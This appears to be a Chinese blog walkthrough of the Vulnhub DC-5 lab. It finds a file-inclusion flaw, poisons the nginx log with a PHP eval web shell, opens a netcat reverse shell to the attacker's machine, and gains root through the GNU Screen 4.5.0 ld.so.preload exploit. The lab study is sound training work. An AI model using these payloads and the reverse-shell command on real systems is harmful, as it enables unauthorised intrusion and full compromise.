DC-5-screen提权
Vulnhub简介
Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
靶场部署
vulnhub官网:https://www.vulnhub.com/
1、直接从官网下载做好的虚拟机镜像文件(推荐下载Mirror版本);
2、解压会得到一个.ova的文件,然后在VMware中打开即可;
DC-5简介
DC-5是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。据我所知,只有一个可以利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它确实存在。你需要寻找一些不寻常的东西(一些随着页面的刷新而改变的东西)。这将有望为漏洞可能涉及的问题提供一些思路。这个挑战的最终目标是获得root权限并阅读唯一的flag。
下载地址:https://www.vulnhub.com/entry/dc-5,314/
信息收集
1.探测靶机地址
arp-scan -l
2.探测靶机开放端口
111端口没有什么可以利用的点,只有80端口了,访问一下80端口
得知:网站使用的是Nginx的中间件,php语言
在Contact页面发现一个有交互的地方
在Contact模块下可以留言,随便填写一下提交
发现刷新页面会更新页脚
3.dirsearch扫描
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
apt-get install dirsearch
dirsearch -u http://192.168.75.157
扫描到thankyou.php文件和footer.php,访问一下footer.php,发现该文件的内容就是之前提交之后下方显示的时间,这样的话thankyou.php中应该包含了footer.php,所以thankyou.php文件应该是存在文件包含漏洞
文件包含漏洞的利用
什么是本地文件包含(LFI)漏洞?
LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。
(详细了解请访问:https://www.bugku.com/thread-19-1-1.html)
我们用burpsuite遍历一下变量名,得知是file
file确实是文件包含的参数,这是一个Linux系统
除了这样验证,还可以使用PHP伪协议读取thankyou.php代码来查看是否存在文件包含漏洞
http://192.168.75.157/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php
Nginx日志文件写入shell
读取nginx配置文件信息,发现nginx日志记录文件路径
#nginx配置文件路径 /etc/nginx/nginx.conf
#nginx日志文件路径
/var/log/nginx/error.log
/var/log/nginx/access.log
通过包含nginx日志getshell,nginx在linux下的默认路径/var/log/nginx/,先在thankyou.php中file参数输入一句话
thankyou.php?file=<?php @eval($_POST[8]);?>
而这句话会引起报错thankyou.php报错,这个时候再去包含error.log,即可成功getshell
反弹shell
反弹shell,由于目标环境存在nc,直接nc反弹
nc -e /bin/bash 192.168.75.150 4444
成功得到shell,切换到bash外壳
python -c 'import pty;pty.spawn("/bin/bash")'
提权
查找具有SUID权限的文件
#这两个命令都可以查找
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
suid用来提权的一般有:nmap 、vim、 find、 bash、 more 、less、 nano 、cp
但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
使用命令searchsploit来查询漏洞利用的脚本
searchsploit screen 4.5.0
查看一下脚本的使用
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cat 41154.sh
大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传靶机,按照提示的命令进行提权
第一步
将第一部分的c代码放入libhax.c文件中进行编译
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
将第二部分c代码放入rootshell.c文件中进行编译
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
将编译好的可执行文件上传到靶机的tmp目录下
第四步
按照脚本提示的命令进行提权
步骤一
直接复制下面红线框中的代码,然后再终端中输入,就可以建立libhax.c和rootshell.c两个文件
步骤二
使用以下命令编译c文件
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
步骤三
将文件传输到目标机的tmp文件夹(记得kali和靶机都是在tmp目录下进行操作,因为tmp目录的权限很大)
步骤四
根据提权说明
首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell
成功提权
得到flag,在root目录下
知识点总结
- 端口扫描,熟悉常见的端口
- 目录扫描,工具有:御剑、dirsearch、DirBuster等等
- 文件包含漏洞及其利用
- searchsploit命令的使用
- screen提权
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/18172792
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!